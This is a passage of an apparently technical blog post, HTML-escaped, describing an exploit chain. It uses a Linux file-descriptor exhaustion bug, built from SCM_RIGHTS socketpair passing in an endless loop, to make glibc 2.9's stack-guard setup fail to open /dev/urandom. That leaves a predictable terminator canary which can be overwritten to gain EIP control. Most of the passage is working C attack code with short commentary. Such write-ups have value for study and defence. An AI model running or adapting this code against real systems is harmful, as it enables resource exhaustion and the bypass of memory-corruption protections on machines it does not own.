&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg_controllen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 
&lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CMSG_FIRSTHDR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CMSG_LEN&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg_level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SOL_SOCKET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
 
&lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SCM_RIGHTS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg_controllen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CMSG_DATA&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sendmsg&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unix_fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
 
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
 
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socketpair&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PF_UNIX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SOCK_SEQPACKET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(;;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socketpair&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PF_UNIX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SOCK_SEQPACKET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;send_fd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;send_fd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
 
 
&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;


&lt;br /&gt;
Check &lt;a href=&quot;http://linux.die.net/man/2/socketpair&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://marc.info/?l=linux-netdev&amp;amp;m=129055394027555&amp;amp;w=2&quot;&gt;here&lt;/a&gt; if you want to know what is happening.&lt;/p&gt;
&lt;p&gt;Next, we are moving to the targeted protection:&lt;/p&gt;
&lt;p&gt;file: glibc-2.9/sysdeps/unix/sysv/linux/dl-osinfo.h&lt;br /&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;p&quot;&gt;..&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;inline&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uintptr_t&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__attribute__&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;always_inline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;_dl_setup_stack_chk_guard&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;uintptr_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef ENABLE_STACKGUARD_RANDOMIZE
&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__open&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/dev/urandom&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;O_RDONLY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;ssize_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reslen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__read&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;__close&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reslen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;ssize_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;\n&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;..&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;




&lt;p&gt;It is pretty obvious what our target is. Just in case you didn&apos;t see it, we want to use our file exhaustion bug and disable the ENABLE_STACKGUARD_RANDOMIZE part of the code and leave only the terminator value (aka ff0a0000) which in certain situations can be overwritten and secure us EIP control.&lt;/p&gt;
&lt;p&gt;we want this unreachable :&lt;br /&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;ssize_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reslen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__read&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;__close&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reslen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;ssize_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;
We want fd to return something less than 0. To increase our chances of doing this we are going to modify a little bit our FD exhaustion code : &lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/un.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;         &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stddef.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;   &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;       
&lt;span class=&quot;c1&quot;&gt;//return file-nr array - exit&apos;s when there are not enough File Descriptors     &lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;nr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; 
    &lt;span class=&quot;kt&quot;&gt;FILE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filenr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filenr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/proc/sys/fs/file-nr&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Overshoot FDs - exiting&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt;   
    &lt;span class=&quot;n&quot;&gt;fgets&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filenr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;                                 
    &lt;span class=&quot;n&quot;&gt;fclose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filenr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sscanf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%d %d %d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;  
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;   
 
